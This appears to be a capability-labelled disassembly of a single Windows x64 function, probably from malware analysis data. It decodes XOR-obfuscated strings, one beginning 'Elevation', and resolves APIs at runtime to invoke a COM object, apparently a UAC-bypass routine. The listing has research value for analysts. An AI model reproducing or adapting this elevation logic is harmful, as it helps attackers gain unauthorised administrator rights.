Function at 0x2b365f720
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rbx
sub rsp, 0x1f8
mov eax, 0x7c42
movdqa xmm0, xmmword [0x2b374c350]
mov word [rsp + 0x114], ax
mov r12, rdx
movabs rax, 0x364335434344357a
movabs rdx, 0x332c362f2f422c33
mov qword [rsp + 0xc0], rax
mov r13, rcx
movabs rax, 0x403536412c343644
mov qword [rsp + 0xc8], rdx
movabs rdx, 0x38382f333634442c
mov qword [rsp + 0xd0], rax
mov eax, 0x7c42
mov qword [rsp + 0xd8], rdx
movaps xmmword [rsp + 0xf0], xmm0
movdqa xmm0, xmmword [0x2b374c360]
mov dword [rsp + 0xe0], 0x33314434
mov qword [rsp + 0x38], 0
mov word [rsp + 0xe4], ax
xor eax, eax
mov dword [rsp + 0x110], 0x33314434
mov byte [rsp + 0x116], 0
mov byte [rsp + 0xe6], 0
movaps xmmword [rsp + 0x100], xmm0
nop word [rax + rax]
movzx edx, byte [rsp + rax + 0xc0]
add edx, 1
mov byte [rsp + rax + 0xc0], dl
add rax, 1
cmp rax, 0x26
jne 0x2b365f7f0
lea r15, [rsp + 0xc0]
mov esi, 0x95
mov rcx, r15
call sub.msvcrt.dll_strlen
mov edx, 4
mov rcx, rax
mov rbx, rax
call sub.msvcrt.dll_calloc
mov r8, rbx
mov rdx, r15
mov ebx, 0x9f
mov rcx, rax
mov r14, rax
mov r15d, 0x95
call sub.msvcrt.dll_mbstowcs
mov rax, qword [0x2b374c370]
mov r11d, 0x9f
mov dword [rsp + 0xa8], 0x96918a8c
mov word [rsp + 0xac], r11w
mov qword [rsp + 0xa0], rax
movabs rax, 0xab95978abebcb1b1
mov qword [rsp + 0x1a0], rax
mov dword [rsp + 0x1a8], 0x96918a8c
mov word [rsp + 0x1ac], bx
movzx eax, byte [rsp + 0x1a0]
lea rbx, [rsp + 0xb0]
xor eax, 0xfffffff8
mov byte [rsp + 0x1a0], al
movzx eax, byte [rsp + 0x1a1]
xor eax, 0xfffffff8
mov byte [rsp + 0x1a1], al
movzx eax, byte [rsp + 0x1a2]
xor eax, 0xfffffff8
mov byte [rsp + 0x1a2], al
movzx eax, byte [rsp + 0x1a3]
xor eax, 0xfffffff8
mov byte [rsp + 0x1a3], al
movzx eax, byte [rsp + 0x1a4]
xor eax, 0xfffffff8
mov byte [rsp + 0x1a4], al
movzx eax, byte [rsp + 0x1a5]
xor eax, 0xfffffff8
mov byte [rsp + 0x1a5], al
movzx eax, byte [rsp + 0x1a6]
xor eax, 0xfffffff8
mov byte [rsp + 0x1a6], al
movzx eax, byte [rsp + 0x1a7]
xor eax, 0xfffffff8
mov byte [rsp + 0x1a7], al
movzx eax, byte [rsp + 0x1a8]
xor eax, 0xfffffff8
mov byte [rsp + 0x1a8], al
movzx eax, byte [rsp + 0x1a9]
xor eax, 0xfffffff8
mov byte [rsp + 0x1a9], al
movzx eax, byte [rsp + 0x1aa]
xor eax, 0xfffffff8
mov byte [rsp + 0x1aa], al
movzx eax, byte [rsp + 0x1ab]
xor eax, 0xfffffff8
mov byte [rsp + 0x1ab], al
movzx eax, byte [rsp + 0x1ac]
xor eax, 0xfffffff8
mov byte [rsp + 0x1ac], al
mov rax, qword [0x2b374c378]
mov word [rsp + 0x48], si
lea rsi, [rsp + 0x1a0]
mov qword [rsp + 0x40], rax
mov rdx, rsi
movabs rax, 0x959dd7cbca9c9596
mov qword [rsp + 0x150], rax
mov word [rsp + 0x158], r15w
movzx eax, byte [rsp + 0x150]
lea r15, [rsp + 0x150]
mov rcx, r15
xor eax, 0xfffffff9
mov byte [rsp + 0x150], al
movzx eax, byte [rsp + 0x151]
xor eax, 0xfffffff9
mov byte [rsp + 0x151], al
movzx eax, byte [rsp + 0x152]
xor eax, 0xfffffff9
mov byte [rsp + 0x152], al
movzx eax, byte [rsp + 0x153]
xor eax, 0xfffffff9
mov byte [rsp + 0x153], al
movzx eax, byte [rsp + 0x154]
xor eax, 0xfffffff9
mov byte [rsp + 0x154], al
movzx eax, byte [rsp + 0x155]
xor eax, 0xfffffff9
mov byte [rsp + 0x155], al
movzx eax, byte [rsp + 0x156]
xor eax, 0xfffffff9
mov byte [rsp + 0x156], al
movzx eax, byte [rsp + 0x157]
xor eax, 0xfffffff9
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x158]
xor eax, 0xfffffff9
mov byte [rsp + 0x158], al
call fcn.2b3656120
mov rcx, r14
mov rdx, rbx
mov r14d, 0x80004005
call rax
test eax, eax
je 0x2b365faad
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x2b365fa98
mov rax, qword [rcx]
call qword [rax + 0x10]
mov eax, r14d
add rsp, 0x1f8
pop rbx
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [str.AmGlgrg_kha_._h]
mov rdx, rsi
mov qword [rsp + 0x120], 0
mov r8d, 0x68
mov qword [rsp + 0x130], 0
mov ecx, 0x68
mov qword [rsp + 0x90], rax
movabs rax, 0x5f6772676c476d41
mov qword [rsp + 0x1a0], rax
mov dword [rsp + 0x1a8], 0x6378676a
mov byte [rsp + 0x1ac], 0
movzx eax, byte [rsp + 0x1a0]
mov qword [rsp + 0x128], 0
add eax, 2
mov qword [rsp + 0x138], 0
mov byte [rsp + 0x1a0], al
movzx eax, byte [rsp + 0x1a1]
mov qword [rsp + 0x140], 0
add eax, 2
mov qword [rsp + 0x148], 0
mov byte [rsp + 0x1a1], al
movzx eax, byte [rsp + 0x1a2]
mov dword [rsp + 0x120], 0x30
add eax, 2
mov byte [rsp + 0x9c], 0
mov byte [rsp + 0x1a2], al
movzx eax, byte [rsp + 0x1a3]
mov dword [rsp + 0x134], 4
mov dword [rsp + 0x98], 0x6378676a
add eax, 2
mov byte [rsp + 0x1a3], al
movzx eax, byte [rsp + 0x1a4]
add eax, 2
mov byte [rsp + 0x1a4], al
movzx eax, byte [rsp + 0x1a5]
add eax, 2
mov byte [rsp + 0x1a5], al
movzx eax, byte [rsp + 0x1a6]
add eax, 2
mov byte [rsp + 0x1a6], al
movzx eax, byte [rsp + 0x1a7]
add eax, 2
mov byte [rsp + 0x1a7], al
movzx eax, byte [rsp + 0x1a8]
add eax, 2
mov byte [rsp + 0x1a8], al
movzx eax, byte [rsp + 0x1a9]
mov word [rsp + 0x58], cx
mov rcx, r15
add eax, 2
mov byte [rsp + 0x1a9], al
movzx eax, byte [rsp + 0x1aa]
add eax, 2
mov byte [rsp + 0x1aa], al
movzx eax, byte [rsp + 0x1ab]
add eax, 2
mov byte [rsp + 0x1ab], al
mov rax, qword [0x2b374c388]
mov qword [rsp + 0x50], rax
movabs rax, 0x68602a2e2f61686b
mov qword [rsp + 0x150], rax
mov word [rsp + 0x158], r8w
movzx eax, byte [rsp + 0x150]
add eax, 4
mov byte [rsp + 0x150], al
movzx eax, byte [rsp + 0x151]
add eax, 4
mov byte [rsp + 0x151], al
movzx eax, byte [rsp + 0x152]
add eax, 4
mov byte [rsp + 0x152], al
movzx eax, byte [rsp + 0x153]
add eax, 4
mov byte [rsp + 0x153], al
movzx eax, byte [rsp + 0x154]
add eax, 4
mov byte [rsp + 0x154], al
movzx eax, byte [rsp + 0x155]
add eax, 4
mov byte [rsp + 0x155], al
movzx eax, byte [rsp + 0x156]
add eax, 4
mov byte [rsp + 0x156], al
movzx eax, byte [rsp + 0x157]
add eax, 4
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x158]
add eax, 4
mov byte [rsp + 0x158], al
call fcn.2b3656120
xor ecx, ecx
call rax
movdqa xmm0, xmmword [0x2b374c390]
mov r9d, 0xffff86cc
movabs rax, 0x94928f9a8d9e97be
movabs rdx, 0x929592969fbac195
mov r10d, 0xffff86cc
mov qword [rsp + 0x150], rax
movabs rax, 0xda89948f9a898f88
movaps xmmword [rsp + 0x1a0], xmm0
movdqa xmm0, xmmword [0x2b374c3a0]
mov qword [rsp + 0x158], rdx
movabs rdx, 0xcebec880c18c9e95
mov qword [rsp + 0x160], rax
movabs rax, 0xbac2d6c2bdccb8bd
mov qword [rsp + 0x168], rdx
movabs rdx, 0xd6cccdc8cfd6cace
movaps xmmword [rsp + 0x1b0], xmm0
movdqa xmm0, xmmword [0x2b374c3b0]
mov qword [rsp + 0x170], rax
movabs rax, 0xc9cabad6c8cdcbc2
mov qword [rsp + 0x178], rdx
movabs rdx, 0xb8beb9bdcfcfc9cb
mov qword [rsp + 0x180], rax
xor eax, eax
mov qword [rsp + 0x188], rdx
movaps xmmword [rsp + 0x1c0], xmm0
movdqa xmm0, xmmword [0x2b374c3c0]
mov word [rsp + 0x190], r10w
mov word [rsp + 0x1e0], r9w
mov byte [rsp + 0x1e2], 0
mov byte [rsp + 0x192], 0
movaps xmmword [rsp + 0x1d0], xmm0
nop word [rax + rax]
movzx edx, byte [rsp + rax + 0x150]
xor edx, 0xfffffffb
mov byte [rsp + rax + 0x150], dl
add rax, 1
cmp rax, 0x42
jne 0x2b365fe18
mov rcx, r15
call sub.msvcrt.dll_strlen
mov edx, 4
mov rcx, rax
mov rsi, rax
call sub.msvcrt.dll_calloc
mov r8, rsi
mov rdx, r15
mov rcx, rax
mov r14, rax
call sub.msvcrt.dll_mbstowcs
mov edx, 0x6b
lea rcx, [rsp + 0x6e]
mov rax, qword [0x2b374c3d0]
mov dword [rsp + 0x80], 0x8d9a9c
mov qword [rsp + 0x78], rax
movabs rax, 0x939bb68d9cbe96ba
mov qword [rsp + 0x84], rax
mov dword [rsp + 0x8c], 0x8d9a9c
movzx eax, byte [rsp + 0x84]
xor eax, 0xfffffff9
mov byte [rsp + 0x84], al
movzx eax, byte [rsp + 0x85]
xor eax, 0xfffffff9
mov byte [rsp + 0x85], al
movzx eax, byte [rsp + 0x86]
xor eax, 0xfffffff9
mov byte [rsp + 0x86], al
movzx eax, byte [rsp + 0x87]
xor eax, 0xfffffff9
mov byte [rsp + 0x87], al
movzx eax, byte [rsp + 0x88]
xor eax, 0xfffffff9
mov byte [rsp + 0x88], al
movzx eax, byte [rsp + 0x89]
xor eax, 0xfffffff9
mov byte [rsp + 0x89], al
movzx eax, byte [rsp + 0x8a]
xor eax, 0xfffffff9
mov byte [rsp + 0x8a], al
movzx eax, byte [rsp + 0x8b]
xor eax, 0xfffffff9
mov byte [rsp + 0x8b], al
movzx eax, byte [rsp + 0x8c]
xor eax, 0xfffffff9
mov byte [rsp + 0x8c], al
movzx eax, byte [rsp + 0x8d]
xor eax, 0xfffffff9
mov byte [rsp + 0x8d], al
movzx eax, byte [rsp + 0x8e]
xor eax, 0xfffffff9
mov byte [rsp + 0x8e], al
mov rax, qword [str.nkd21_ckABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov qword [rsp + 0x60], rax
mov eax, 0x6b
mov word [rsp + 0x68], ax
movabs rax, 0x6b632d3132646b6e
mov qword [rsp + 0x6e], rax
mov word [rsp + 0x76], dx
movzx eax, byte [rsp + 0x6e]
lea rdx, [rsp + 0x84]
add eax, 1
mov byte [rsp + 0x6e], al
movzx eax, byte [rsp + 0x6f]
add eax, 1
mov byte [rsp + 0x6f], al
movzx eax, byte [rsp + 0x70]
add eax, 1
mov byte [rsp + 0x70], al
movzx eax, byte [rsp + 0x71]
add eax, 1
mov byte [rsp + 0x71], al
movzx eax, byte [rsp + 0x72]
add eax, 1
mov byte [rsp + 0x72], al
movzx eax, byte [rsp + 0x73]
add eax, 1
mov byte [rsp + 0x73], al
movzx eax, byte [rsp + 0x74]
add eax, 1
mov byte [rsp + 0x74], al
movzx eax, byte [rsp + 0x75]
add eax, 1
mov byte [rsp + 0x75], al
movzx eax, byte [rsp + 0x76]
add eax, 1
mov byte [rsp + 0x76], al
call fcn.2b3656120
mov rcx, r14
lea r9, [rsp + 0x38]
mov r8, rbx
lea rdx, [rsp + 0x120]
call rax
mov r14d, eax
test eax, eax
jne 0x2b365fa88
mov rcx, r13
call sub.msvcrt.dll_strlen
mov edx, 4
mov rcx, rax
mov rbx, rax
call sub.msvcrt.dll_calloc
mov r8, rbx
mov rdx, r13
mov rcx, rax
mov r14, rax
call sub.msvcrt.dll_mbstowcs
test r12, r12
je 0x2b366007e
mov rcx, r12
call sub.msvcrt.dll_strlen
mov edx, 4
mov rcx, rax
mov rsi, rax
call sub.msvcrt.dll_calloc
mov rdx, r12
mov r8, rsi
mov rbx, rax
mov rcx, rax
call sub.msvcrt.dll_mbstowcs
mov r12, rbx
mov rcx, qword [rsp + 0x38]
mov rdx, r14
xor r9d, r9d
mov r8, r12
mov rax, qword [rcx]
mov dword [rsp + 0x28], 5
mov dword [rsp + 0x20], 0
call qword [rax + 0x48]
mov r14d, eax
jmp 0x2b365fa88